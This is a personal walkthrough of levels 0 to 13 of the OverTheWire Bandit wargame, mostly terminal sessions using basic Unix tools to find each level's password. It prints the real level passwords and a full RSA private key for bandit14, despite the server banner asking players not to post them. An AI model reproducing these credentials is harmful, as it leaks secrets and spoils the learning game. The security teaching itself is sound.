Over the Wire - Wargames - Bandit
Mar 22, 2020
by Kush, Nishchal
Introduction
Details about the challenges may be found at https://overthewire.org/wargames/bandit/. The game is played over SSH over port 2220 so firewalls may need to be adjusted to allow outbound traffic to connect to the game. The game has 34 levels. The levels are chained, so that to get to the next level you need to complete/finish/beat the previous level.
WARNING: These are my own notes and contain actual flags.
Bandit Level 0
Level Goal
The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1.
Commands you may need to solve this level
ssh
Helpful Reading Material
https://en.wikipedia.org/wiki/Secure_Shellhttps://www.wikihow.com/Use-SSH
Walkthrough
- Used PuTTY to SSH to
bandit.labs.overthewire.org - Used username and password of
bandit0
login as: bandit0
Pre-authentication banner message from server:
| This is a OverTheWire game server. More information on http://www.overthewire
> .org/wargames
|
End of banner message from server
[email protected]'s password:
Linux bandit 4.18.12 x86_64 GNU/Linux
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to OverTheWire!
If you find any problems, please report them to Steven or morla on
irc.overthewire.org.
--[ Playing the games ]--
This machine might hold several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ and /proc/ is disabled
so that users can not snoop on eachother. Files and directories with
easily guessable or short names will be periodically deleted!
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few usefull tools which you can find
in the following locations:
* pwndbg (https://github.com/pwndbg/pwndbg) in /usr/local/pwndbg/
* peda (https://github.com/longld/peda.git) in /usr/local/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
* checksec.sh (http://www.trapkit.de/tools/checksec.html) in /usr/local/bin/checksec.sh
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us through IRC on
irc.overthewire.org #wargames.
Enjoy your stay!
bandit0@bandit:~$
- Found: useful tips and tools information
- Proceeded to Level 1 page
Bandit Level 0 –> Level 1
Level Goal
The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.
Commands you may need to solve this level
ls, cd, cat, file, du, find
Walkthrough
bandit0@bandit:~$ pwd
/home/bandit0
bandit0@bandit:~$ ls -la
total 24
drwxr-xr-x 2 root root 4096 Oct 16 2018 .
drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-rw-r--r-- 1 root root 675 May 15 2017 .profile
-rw-r----- 1 bandit1 bandit0 33 Oct 16 2018 readme
bandit0@bandit:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
Bandit Level 1 –> Level 2
Level Goal
The password for the next level is stored in a file called - located in the home directory
Commands you may need to solve this level
ls, cd, cat, file, du, find
Helpful Reading Material
https://www.google.com/search?q=dashed+filenamehttp://tldp.org/LDP/abs/html/special-chars.html
Walkthrough
bandit1@bandit:~$ ls -las
total 24
4 -rw-r----- 1 bandit2 bandit1 33 Oct 16 2018 -
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit1@bandit:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
Bandit Level 2 –> Level 3
Level Goal
The password for the next level is stored in a file called spaces in this filename located in the home directory
Commands you may need to solve this level
ls, cd, cat, file, du, find
Helpful Reading Material
https://www.google.com/search?q=spaces+in+filename
Walkthough
bandit2@bandit:~$ pwd
/home/bandit2
bandit2@bandit:~$ ls -las
total 24
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
4 -rw-r----- 1 bandit3 bandit2 33 Oct 16 2018 spaces in this filename
bandit2@bandit:~$ cat spaces\ in\ this\ filename
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
Bandit Level 3 –> Level 4
Level Goal
The password for the next level is stored in a hidden file in the inhere directory.
Commands you may need to solve this level
ls, cd, cat, file, du, find
Walkthrough
bandit3@bandit:~$ pwd
/home/bandit3
bandit3@bandit:~$ ls -las
total 24
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 inhere
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit3@bandit:~$ cd inhere
bandit3@bandit:~/inhere$ ls -las
total 12
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 ..
4 -rw-r----- 1 bandit4 bandit3 33 Oct 16 2018 .hidden
bandit3@bandit:~/inhere$ cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
Bandit Level 4 –> Level 5
Level Goal
The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the �reset� command.
Commands you may need to solve this level
ls, cd, cat, file, du, find
Walkthrough
bandit4@bandit:~$ pwd
/home/bandit4
bandit4@bandit:~$ ls -las
total 24
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 inhere
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit4@bandit:~$ cd inhere
bandit4@bandit:~/inhere$ ls -las
total 48
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 ..
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file00
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file01
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file02
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file03
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file04
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file05
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file06
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file07
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file08
4 -rw-r----- 1 bandit5 bandit4 33 Oct 16 2018 -file09
bandit4@bandit:~/inhere$ file ./-file0?
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data
bandit4@bandit:~/inhere$ cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
Bandit Level 5 –> Level 6
Level Goal
The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:
human-readable
1033 bytes in size
not executable
Commands you may need to solve this level
ls, cd, cat, file, du, find
Walkthrough
bandit5@bandit:~$ pwd
/home/bandit5
bandit5@bandit:~$ ls -las
total 24
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 drwxr-x--- 22 root bandit5 4096 Oct 16 2018 inhere
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit5@bandit:~$ cd inhere/
bandit5@bandit:~/inhere$ ls -las
total 88
4 drwxr-x--- 22 root bandit5 4096 Oct 16 2018 .
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 ..
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere00
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere01
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere02
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere03
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere04
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere05
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere06
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere07
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere08
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere09
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere10
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere11
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere12
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere13
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere14
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere15
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere16
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere17
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere18
4 drwxr-x--- 2 root bandit5 4096 Oct 16 2018 maybehere19
bandit5@bandit:~/inhere$ find . -type f -size 1033c ! -executable -exec file {} \;
./maybehere07/.file2: ASCII text, with very long lines
bandit5@bandit:~/inhere$ cat ./maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
bandit5@bandit:~/inhere$
Bandit Level 6 –> Level 7
Level Goal
The password for the next level is stored somewhere on the server and has all of the following properties:
owned by user bandit7
owned by group bandit6
33 bytes in size
Commands you may need to solve this level
ls, cd, cat, file, du, find, grep
Walkthrough
bandit6@bandit:~$ pwd
/home/bandit6
bandit6@bandit:~$ ls -las
total 20
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit6@bandit:~$ find / -type f -size 33c -user bandit7 -group bandit6 2>/dev/null
/var/lib/dpkg/info/bandit7.password
bandit6@bandit:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
Bandit Level 7 –> Level 8
Level Goal
The password for the next level is stored in the file data.txt next to the word millionth
Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
Walkthough
bandit7@bandit:~$ pwd
/home/bandit7
bandit7@bandit:~$ ls -las
total 4108
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4088 -rw-r----- 1 bandit8 bandit7 4184396 Oct 16 2018 data.txt
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit7@bandit:~$ head -3 data.txt
humiliation's 47r0YuNylaQ3k6HqGF5NsPPiGuolDCjn
malarkey's 0huyJeRwvtJaoyRmJjQFsRnQcYG4gDir
prioress ocudTlq9CbpCw9aByrqGffAuoYvCmLNV
bandit7@bandit:~$ grep millionth data.txt
millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV
Bandit Level 8 –> Level 9
Level Goal
The password for the next level is stored in the file data.txt and is the only line of text that occurs only once
Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
Helpful Reading Material
https://ryanstutorials.net/linuxtutorial/piping.php
Walkthough
bandit8@bandit:~$ pwd
/home/bandit8
bandit8@bandit:~$ ls -las
total 56
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
36 -rw-r----- 1 bandit9 bandit8 33033 Oct 16 2018 data.txt
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit8@bandit:~$ sort data.txt | uniq -c | grep '1 '
1 UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
Bandit Level 9 –> Level 10
Level Goal
The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several �=� characters.
Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
Walkthrough
bandit9@bandit:~$ pwd
/home/bandit9
bandit9@bandit:~$ ls -las
total 40
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
20 -rw-r----- 1 bandit10 bandit9 19379 Oct 16 2018 data.txt
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit9@bandit:~$ file data.txt
data.txt: data
bandit9@bandit:~$ strings data.txt | grep '=='
2========== the
========== password
========== isa
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
Bandit Level 10 –> Level 11
Level Goal
The password for the next level is stored in the file data.txt, which contains base64 encoded data
Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
Helpful Reading Material
https://en.wikipedia.org/wiki/Base64
Walkthough
bandit10@bandit:~$ pwd
/home/bandit10
bandit10@bandit:~$ ls -las
total 24
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r----- 1 bandit11 bandit10 69 Oct 16 2018 data.txt
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit10@bandit:~$ file data.txt
data.txt: ASCII text
bandit10@bandit:~$ head -3 data.txt
VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg==
bandit10@bandit:~$ base64 -d < data.txt
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
Bandit Level 11 –> Level 12
Level Goal
The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions
Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd
Helpful Reading Material
https://en.wikipedia.org/wiki/Rot13
Walkthrough
- Search for ROT13 command line implementation
- Found:
https://stackoverflow.com/questions/5442436/using-rot13-and-tr-command-for-having-an-encrypted-email-address
bandit11@bandit:~$ pwd
/home/bandit11
bandit11@bandit:~$ ls -las
total 24
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r----- 1 bandit12 bandit11 49 Oct 16 2018 data.txt
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit11@bandit:~$ file data.txt
data.txt: ASCII text
bandit11@bandit:~$ cat data.txt
Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh
bandit11@bandit:~$ cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
Bandit Level 12 –> Level 13
Level Goal
The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!)
Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv, file
Helpful Reading Material
https://en.wikipedia.org/wiki/Hex_dump
Walkthrough
- Searched for ways to re-create file using hexdump
- Found:
https://www.linuxjournal.com/content/doing-reverse-hex-dump - Read man page for xxd, looks like the -r opertion allows revert of hexdump
bandit12@bandit:~$ pwd
/home/bandit12
bandit12@bandit:~$ ls -las
total 24
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r----- 1 bandit13 bandit12 2581 Oct 16 2018 data.txt
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit12@bandit:~$ mkdir -p /tmp/otwb12
bandit12@bandit:~$ cp data.txt /tmp/otwb12/
bandit12@bandit:~$ cd /tmp/otwb12
bandit12@bandit:/tmp/otwb12$ ls -las
total 305928
4 drwxr-sr-x 2 bandit12 root 4096 Mar 22 05:51 .
305920 drwxrws-wt 1 root root 313204736 Mar 22 05:51 ..
4 -rw-r----- 1 bandit12 root 2581 Mar 22 05:51 data.txt
bandit12@bandit:/tmp/otwb12$ head -2 data.txt
00000000: 1f8b 0808 d7d2 c55b 0203 6461 7461 322e .......[..data2.
00000010: 6269 6e00 013c 02c3 fd42 5a68 3931 4159 bin..<...BZh91AY
bandit12@bandit:/tmp/otwb12$ xxd -r data.txt > data.bin
bandit12@bandit:/tmp/otwb12$ ls -las
total 305932
4 drwxr-sr-x 2 bandit12 root 4096 Mar 22 05:51 .
305920 drwxrws-wt 1 root root 313204736 Mar 22 05:51 ..
4 -rw-r--r-- 1 bandit12 root 605 Mar 22 05:51 data.bin
4 -rw-r----- 1 bandit12 root 2581 Mar 22 05:51 data.txt
bandit12@bandit:/tmp/otwb12$ file data.bin
data.bin: gzip compressed data, was "data2.bin", last modified: Tue Oct 16 12:00 :23 2018, max compression, from Unix
bandit12@bandit:/tmp/otwb12$ gunzip < data.bin > data.bin0
bandit12@bandit:/tmp/otwb12$ file data.bin0
data.bin0: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/otwb12$ bunzip2 -dc data.bin0 > data.bin1
bandit12@bandit:/tmp/otwb12$ file data.bin1
data.bin1: gzip compressed data, was "data4.bin", last modified: Tue Oct 16 12:0 0:23 2018, max compression, from Unix
bandit12@bandit:/tmp/otwb12$ gunzip < data.bin1 > data.bin2
bandit12@bandit:/tmp/otwb12$ file data.bin2
data.bin2: POSIX tar archive (GNU)
bandit12@bandit:/tmp/otwb12$ tar -xvf data.bin2
data5.bin
bandit12@bandit:/tmp/otwb12$ file data5.bin
data5.bin: POSIX tar archive (GNU)
bandit12@bandit:/tmp/otwb12$ tar -xvf data5.bin
data6.bin
bandit12@bandit:/tmp/otwb12$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/otwb12$ bunzip2 -dc data6.bin > data.bin7
bandit12@bandit:/tmp/otwb12$ file data.bin7
data.bin7: POSIX tar archive (GNU)
bandit12@bandit:/tmp/otwb12$ tar -xvf data.bin7
data8.bin
bandit12@bandit:/tmp/otwb12$ file data8.bin
data8.bin: gzip compressed data, was "data9.bin", last modified: Tue Oct 16 12:0 0:23 2018, max compression, from Unix
bandit12@bandit:/tmp/otwb12$ gunzip < data8.bin > data.bin9
bandit12@bandit:/tmp/otwb12$ file data.bin9
data.bin9: ASCII text
bandit12@bandit:/tmp/otwb12$ cat data.bin9
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
Bandit Level 13 –> Level 14
Level Goal
The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don�t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on
Commands you may need to solve this level
ssh, telnet, nc, openssl, s_client, nmap
Helpful Reading Material
https://help.ubuntu.com/community/SSH/OpenSSH/Keys
bandit13@bandit:~$ pwd
/home/bandit13
bandit13@bandit:~$ ls -las
total 24
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
4 -rw-r----- 1 bandit14 bandit13 1679 Oct 16 2018 sshkey.private
bandit13@bandit:~$ file sshkey.private
sshkey.private: PEM RSA private key
bandit13@bandit:~$ cat sshkey.private
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAxkkOE83W2cOT7IWhFc9aPaaQmQDdgzuXCv+ppZHa++buSkN+
gg0tcr7Fw8NLGa5+Uzec2rEg0WmeevB13AIoYp0MZyETq46t+jk9puNwZwIt9XgB
ZufGtZEwWbFWw/vVLNwOXBe4UWStGRWzgPpEeSv5Tb1VjLZIBdGphTIK22Amz6Zb
ThMsiMnyJafEwJ/T8PQO3myS91vUHEuoOMAzoUID4kN0MEZ3+XahyK0HJVq68KsV
ObefXG1vvA3GAJ29kxJaqvRfgYnqZryWN7w3CHjNU4c/2Jkp+n8L0SnxaNA+WYA7
jiPyTF0is8uzMlYQ4l1Lzh/8/MpvhCQF8r22dwIDAQABAoIBAQC6dWBjhyEOzjeA
J3j/RWmap9M5zfJ/wb2bfidNpwbB8rsJ4sZIDZQ7XuIh4LfygoAQSS+bBw3RXvzE
pvJt3SmU8hIDuLsCjL1VnBY5pY7Bju8g8aR/3FyjyNAqx/TLfzlLYfOu7i9Jet67
xAh0tONG/u8FB5I3LAI2Vp6OviwvdWeC4nOxCthldpuPKNLA8rmMMVRTKQ+7T2VS
nXmwYckKUcUgzoVSpiNZaS0zUDypdpy2+tRH3MQa5kqN1YKjvF8RC47woOYCktsD
o3FFpGNFec9Taa3Msy+DfQQhHKZFKIL3bJDONtmrVvtYK40/yeU4aZ/HA2DQzwhe
ol1AfiEhAoGBAOnVjosBkm7sblK+n4IEwPxs8sOmhPnTDUy5WGrpSCrXOmsVIBUf
laL3ZGLx3xCIwtCnEucB9DvN2HZkupc/h6hTKUYLqXuyLD8njTrbRhLgbC9QrKrS
M1F2fSTxVqPtZDlDMwjNR04xHA/fKh8bXXyTMqOHNJTHHNhbh3McdURjAoGBANkU
1hqfnw7+aXncJ9bjysr1ZWbqOE5Nd8AFgfwaKuGTTVX2NsUQnCMWdOp+wFak40JH
PKWkJNdBG+ex0H9JNQsTK3X5PBMAS8AfX0GrKeuwKWA6erytVTqjOfLYcdp5+z9s
8DtVCxDuVsM+i4X8UqIGOlvGbtKEVokHPFXP1q/dAoGAcHg5YX7WEehCgCYTzpO+
xysX8ScM2qS6xuZ3MqUWAxUWkh7NGZvhe0sGy9iOdANzwKw7mUUFViaCMR/t54W1
GC83sOs3D7n5Mj8x3NdO8xFit7dT9a245TvaoYQ7KgmqpSg/ScKCw4c3eiLava+J
3btnJeSIU+8ZXq9XjPRpKwUCgYA7z6LiOQKxNeXH3qHXcnHok855maUj5fJNpPbY
iDkyZ8ySF8GlcFsky8Yw6fWCqfG3zDrohJ5l9JmEsBh7SadkwsZhvecQcS9t4vby
9/8X4jS0P8ibfcKS4nBP+dT81kkkg5Z5MohXBORA7VWx+ACohcDEkprsQ+w32xeD
qT1EvQKBgQDKm8ws2ByvSUVs9GjTilCajFqLJ0eVYzRPaY6f++Gv/UVfAPV4c+S0
kAWpXbv5tbkkzbS0eaLPTKgLzavXtQoTtKwrjpolHKIHUz6Wu+n4abfAIRFubOdN
/+aLoRQ0yBDRbdXMsZN/jvY44eM+xRLdRVyMmdPtP8belRi2E2aEzA==
-----END RSA PRIVATE KEY-----
bandit13@bandit:~$ ssh -i sshkey.private [email protected]
Could not create directory '/home/bandit13/.ssh'.
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit13/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
Linux bandit 4.18.12 x86_64 GNU/Linux
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to OverTheWire!
If you find any problems, please report them to Steven or morla on
irc.overthewire.org.
--[ Playing the games ]--
This machine might hold several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ and /proc/ is disabled
so that users can not snoop on eachother. Files and directories with
easily guessable or short names will be periodically deleted!
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few usefull tools which you can find
in the following locations:
* pwndbg (https://github.com/pwndbg/pwndbg) in /usr/local/pwndbg/
* peda (https://github.com/longld/peda.git) in /usr/local/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
* checksec.sh (http://www.trapkit.de/tools/checksec.html) in /usr/local/bin/checksec.sh
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us through IRC on
irc.overthewire.org #wargames.
Enjoy your stay!
bandit14@bandit:~$ id
uid=11014(bandit14) gid=11014(bandit14) groups=11014(bandit14)
bandit14@bandit:~$ pwd
/home/bandit14
bandit14@bandit:~$ ls -l /etc/bandit_pass/
total 136
-r-------- 1 bandit0 bandit0 8 Oct 16 2018 bandit0
-r-------- 1 bandit1 bandit1 33 Oct 16 2018 bandit1
-r-------- 1 bandit10 bandit10 33 Oct 16 2018 bandit10
-r-------- 1 bandit11 bandit11 33 Oct 16 2018 bandit11
-r-------- 1 bandit12 bandit12 33 Oct 16 2018 bandit12
-r-------- 1 bandit13 bandit13 33 Oct 16 2018 bandit13
-r-------- 1 bandit14 bandit14 33 Oct 16 2018 bandit14
-r-------- 1 bandit15 bandit15 33 Oct 16 2018 bandit15
-r-------- 1 bandit16 bandit16 33 Oct 16 2018 bandit16
-r-------- 1 bandit17 bandit17 33 Oct 16 2018 bandit17
-r-------- 1 bandit18 bandit18 33 Oct 16 2018 bandit18
-r-------- 1 bandit19 bandit19 33 Oct 16 2018 bandit19
-r-------- 1 bandit2 bandit2 33 Oct 16 2018 bandit2
-r-------- 1 bandit20 bandit20 33 Oct 16 2018 bandit20
-r-------- 1 bandit21 bandit21 33 Oct 16 2018 bandit21
-r-------- 1 bandit22 bandit22 33 Oct 16 2018 bandit22
-r-------- 1 bandit23 bandit23 33 Oct 16 2018 bandit23
-r-------- 1 bandit24 bandit24 33 Oct 16 2018 bandit24
-r-------- 1 bandit25 bandit25 33 Oct 16 2018 bandit25
-r-------- 1 bandit26 bandit26 33 Oct 16 2018 bandit26
